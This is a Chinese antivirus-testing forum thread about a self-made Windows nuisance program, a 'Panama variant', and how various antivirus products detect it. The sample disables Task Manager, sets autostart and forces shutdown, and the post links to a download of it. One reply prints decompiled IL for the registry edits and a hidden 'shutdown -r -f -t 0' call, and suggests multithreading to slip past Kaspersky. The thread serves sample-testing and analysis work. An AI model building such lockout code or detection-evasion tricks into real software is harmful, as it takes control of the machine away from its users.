查看: 2275|回复: 28
收起左侧

[病毒样本] 自制样本:Panama变种

[复制链接]
henry217
发表于 2021-6-25 18:52:07 | 显示全部楼层 |阅读模式
本帖最后由 henry217 于 2021-6-25 18:58 编辑

介绍一下吧。本程序是无害程序,一般情况下会让电脑无法正常使用


灵感来自于https://bbs.kafan.cn/forum.php?m ... 183903&pid=48929931
的Panama病毒


动作:
禁用taskmanager>>添加开机启动项>>倒计时六十秒后关机>>如果手动关闭窗口会立刻关机


需要.NET framework 4.8


卡巴在我添加完禁用任务管理器的动作之后阻止启动,一顿操作猛如虎


下载:https://pan.huang1111.cn/s/dwwSV  密码: infected


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x

评分

参与人数 2原创 +1 分享 +3 魅力 +1 人气 +1 收起 理由
屁颠屁颠 + 1 + 3 + 1 长期分享奖励
?! + 1 推广且创新!

查看全部评分

aboringman
发表于 2021-6-25 19:02:37 | 显示全部楼层
本帖最后由 aboringman 于 2021-6-25 19:56 编辑

KIS:SW blocked(没有弹窗。。。。。。我以为被过了)

PDM:Trojan.Win32.Generic


360:允许创建启动项后成功运行,关闭窗口挡不住无弹窗拦截。。。。。。(倒数完也是一样)

等一个拒绝的。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
hyx2230
发表于 2021-6-25 19:09:39 | 显示全部楼层
本帖最后由 hyx2230 于 2021-6-25 19:22 编辑

火绒启发杀 智量双击阻止,允许后主防杀

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
BitterLotus
发表于 2021-6-25 19:11:22 | 显示全部楼层
本帖最后由 BitterLotus 于 2021-6-25 19:30 编辑
  1.   //搞任务管理器的
  2. .method private hidebysig instance void ManageTaskManager(int32 arg)
  3.                                         // CODE XREF: Shuttingdown.Form1__Form1_Load+29↑p
  4.   {
  5.     .maxstack 4
  6.     .locals init (class [mscorlib]Microsoft.Win32.RegistryKey V0,
  7.                   class [mscorlib]Microsoft.Win32.RegistryKey V1)
  8.     ldsfld   class [mscorlib]Microsoft.Win32.RegistryKey [mscorlib]Microsoft.Win32.Registry::CurrentUser // Push the value of field on the stack
  9.     stloc.0                             // Pop value from stack into local variable 0
  10.     ldloc.0                             // Load local variable 0 onto stack
  11.     ldstr    aSoftwareMicros_0          // "Software\\Microsoft\\Windows\\CurrentVe"...
  12.     ldc.i4.1                            // Push 1 onto the stack as I4
  13.     callvirt instance class [mscorlib]Microsoft.Win32.RegistryKey [mscorlib]Microsoft.Win32.RegistryKey::OpenSubKey(string, bool) // Call a method associated with obj
  14.     stloc.1                             // Pop value from stack into local variable 1
  15.     ldloc.1                             // Load local variable 1 onto stack
  16.     brtrue.s loc_142                    // Branch to target if value is non-zero (true), short form
  17.     ldloc.0                             // Load local variable 0 onto stack
  18.     ldstr    aSoftwareMicros_0          // "Software\\Microsoft\\Windows\\CurrentVe"...
  19.     callvirt instance class [mscorlib]Microsoft.Win32.RegistryKey [mscorlib]Microsoft.Win32.RegistryKey::CreateSubKey(string) // Call a method associated with obj
  20.     stloc.1                             // Pop value from stack into local variable 1
复制代码

别问为什么不用DnSpy,问就是懒得下。这玩意竟然用了SunnyUI。。


  1.   //倒计时,利用的是加秒数而非Timer。。。
  2. .method public hidebysig specialname rtspecialname instance void .ctor()
  3.   {
  4.     .maxstack 2
  5.     .locals init (valuetype [mscorlib]System.DateTime V0,
  6.                   valuetype [mscorlib]System.DateTime V1,
  7.                   valuetype [mscorlib]System.DateTime V2)
  8. ldarg.0                 // Load argument 0 onto stack
  9. call     instance void [mscorlib]System.Object::.ctor() // Call a method
  10. call     valuetype [mscorlib]System.DateTime [mscorlib]System.DateTime::get_Now() // Call a method
  11. stloc.0                 // Pop value from stack into local variable 0
  12. ldloca.s 0              // Load address of local variable, short form
  13. call     instance valuetype [mscorlib]System.DateTime [mscorlib]System.DateTime::get_Date() // Call a method
  14. stloc.2                 // Pop value from stack into local variable 2
  15. ldloca.s 2              // Load address of local variable, short form
  16. ldc.r8   1.0            // Push num of type R8 onto the stack as F
  17. call     instance valuetype [mscorlib]System.DateTime [mscorlib]System.DateTime::AddDays(float64) // Call a method
  18. stloc.2                 // Pop value from stack into local variable 2
  19. ldloca.s 2              // Load address of local variable, short form
  20. ldc.r8   -1.0           // Push num of type R8 onto the stack as F
  21. call     instance valuetype [mscorlib]System.DateTime [mscorlib]System.DateTime::AddSeconds(float64) // Call a method
  22. stloc.1                 // Pop value from stack into local variable 1
  23. ldarg.0                 // Load argument 0 onto stack
  24. ldloc.1                 // Load local variable 1 onto stack
  25. call     instance void ShutdownHelper::set_End(valuetype [mscorlib]System.DateTime value) // Call a method
  26. ret                     // Return from method, possibly returning a value
  27.   }
复制代码




  1. //重启部分关键代码
  2. .method public hidebysig instance void Exec(string str)
  3.   {
  4.     .maxstack 3
  5.     .locals init (class [System]System.Diagnostics.Process V0)
  6.   .try {
  7. newobj   instance void [System]System.Diagnostics.Process::.ctor() // Create a new object
  8. stloc.0                 // Pop value from stack into local variable 0
  9.   .try {
  10. ldloc.0                 // Load local variable 0 onto stack
  11. callvirt instance class [System]System.Diagnostics.ProcessStartInfo [System]System.Diagnostics.Process::get_StartInfo() // Call a method associated with obj
  12. ldstr    aCmdExe        // "cmd.exe"
  13. callvirt instance void [System]System.Diagnostics.ProcessStartInfo::set_FileName(string) // Call a method associated with obj
  14. ldloc.0                 // Load local variable 0 onto stack
  15. callvirt instance class [System]System.Diagnostics.ProcessStartInfo [System]System.Diagnostics.Process::get_StartInfo() // Call a method associated with obj
  16. ldc.i4.0                // Push 0 onto the stack as I4
  17. callvirt instance void [System]System.Diagnostics.ProcessStartInfo::set_UseShellExecute(bool) // Call a method associated with obj
  18. ldloc.0                 // Load local variable 0 onto stack
  19. callvirt instance class [System]System.Diagnostics.ProcessStartInfo [System]System.Diagnostics.Process::get_StartInfo() // Call a method associated with obj
  20. ldc.i4.1                // Push 1 onto the stack as I4
  21. callvirt instance void [System]System.Diagnostics.ProcessStartInfo::set_RedirectStandardInput(bool) // Call a method associated with obj
  22. ldloc.0                 // Load local variable 0 onto stack
  23. callvirt instance class [System]System.Diagnostics.ProcessStartInfo [System]System.Diagnostics.Process::get_StartInfo() // Call a method associated with obj
  24. ldc.i4.1                // Push 1 onto the stack as I4
  25. callvirt instance void [System]System.Diagnostics.ProcessStartInfo::set_RedirectStandardOutput(bool) // Call a method associated with obj
  26. ldloc.0                 // Load local variable 0 onto stack
  27. callvirt instance class [System]System.Diagnostics.ProcessStartInfo [System]System.Diagnostics.Process::get_StartInfo() // Call a method associated with obj
  28. ldc.i4.1                // Push 1 onto the stack as I4
  29. callvirt instance void [System]System.Diagnostics.ProcessStartInfo::set_RedirectStandardError(bool) // Call a method associated with obj
  30. ldloc.0                 // Load local variable 0 onto stack
  31. callvirt instance class [System]System.Diagnostics.ProcessStartInfo [System]System.Diagnostics.Process::get_StartInfo() // Call a method associated with obj
  32. ldc.i4.1                // Push 1 onto the stack as I4
  33. callvirt instance void [System]System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(bool) // Call a method associated with obj
  34. ldloc.0                 // Load local variable 0 onto stack
  35. callvirt instance bool [System]System.Diagnostics.Process::Start() // Call a method associated with obj
  36. pop                     // Pop a value from the stack
  37. ldloc.0                 // Load local variable 0 onto stack
  38. callvirt instance class [mscorlib]System.IO.StreamWriter [System]System.Diagnostics.Process::get_StandardInput() // Call a method associated with obj
  39. ldarg.1                 // Load argument 1 onto stack
  40. ldstr    aExit          // "&exit"
  41. call     string [mscorlib]System.String::Concat(string, string) // Call a method
  42. callvirt instance void [mscorlib]System.IO.TextWriter::WriteLine(string) // Call a method associated with obj
  43. ldloc.0                 // Load local variable 0 onto stack
  44. callvirt instance class [mscorlib]System.IO.StreamWriter [System]System.Diagnostics.Process::get_StandardInput() // Call a method associated with obj
  45. ldc.i4.1                // Push 1 onto the stack as I4
  46. callvirt instance void [mscorlib]System.IO.StreamWriter::set_AutoFlush(bool) // Call a method associated with obj
  47. ldloc.0                 // Load local variable 0 onto stack
  48. callvirt instance void [System]System.Diagnostics.Process::WaitForExit() // Call a method associated with obj
  49. ldloc.0                 // Load local variable 0 onto stack
  50. callvirt instance void [System]System.Diagnostics.Process::Close() // Call a method associated with obj
  51. leave.s  loc_5C3        // Exit a protected region of code, short form
  52.   }

  53.   .method public hidebysig instance void Restart()
  54.   {
  55.     .maxstack 8
  56.     ldarg.0                             // Load argument 0 onto stack
  57.     ldstr    aShutdownRFT0              // "shutdown -r -f -t 0"
  58.     call     instance void ShutdownHelper::Exec(string str) // Call a method
  59.     ret                                 // Return from method, possibly returning a value
  60.   }
复制代码



  1. //自启的部分的代码
  2. loc_65:
  3. ldarg.0                 // Load argument 0 onto stack
  4. ldarg.0                 // Load argument 0 onto stack
  5. ldstr    asc_1016       // "\"
  6. callvirt instance int32 [mscorlib]System.String::LastIndexOf(string) // Call a method associated with obj
  7. ldc.i4.1                // Push 1 onto the stack as I4
  8. add                     // Add two values, returning a new value
  9. callvirt instance string [mscorlib]System.String::Substring(int32) // Call a method associated with obj
  10. stloc.1                 // Pop value from stack into local variable 1
  11. ldsfld   class [mscorlib]Microsoft.Win32.RegistryKey [mscorlib]Microsoft.Win32.Registry::LocalMachine // Push the value of field on the stack
  12. ldstr    aSoftwareMicros // "SOFTWARE\\Microsoft\\Windows\\CurrentVe"...
  13. ldc.i4.1                // Push 1 onto the stack as I4
  14. callvirt instance class [mscorlib]Microsoft.Win32.RegistryKey [mscorlib]Microsoft.Win32.RegistryKey::OpenSubKey(string, bool) // Call a method associated with obj
  15. stloc.0                 // Pop value from stack into local variable 0
  16. ldloc.0                 // Load local variable 0 onto stack
  17. brtrue.s loc_9D         // Branch to target if value is non-zero (true), short form

复制代码

总结:重启直接调CMD大法好,或许设置注册表也可以。直接搞一个多线程,让卡巴反应不过来。


评分

参与人数 1人气 +2 收起 理由
henry217 + 2 版区有你更精彩: )

查看全部评分

心心相印
发表于 2021-6-25 19:11:24 | 显示全部楼层
红伞kill 1x
henry217
 楼主| 发表于 2021-6-25 19:18:04 | 显示全部楼层
BitterLotus 发表于 2021-6-25 19:11
DnSpy+一波骚分析占位

自己写:30%

网上当封装:70%
k2132
发表于 2021-6-25 19:18:12 | 显示全部楼层
huorong  1x   智量 阻止

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
aboringman
发表于 2021-6-25 19:18:15 | 显示全部楼层

虚拟机
henry217
 楼主| 发表于 2021-6-25 19:18:21 | 显示全部楼层

静态杀的?
心心相印
发表于 2021-6-25 19:23:39 | 显示全部楼层
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-5-6 01:38 , Processed in 0.181647 second(s), 19 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表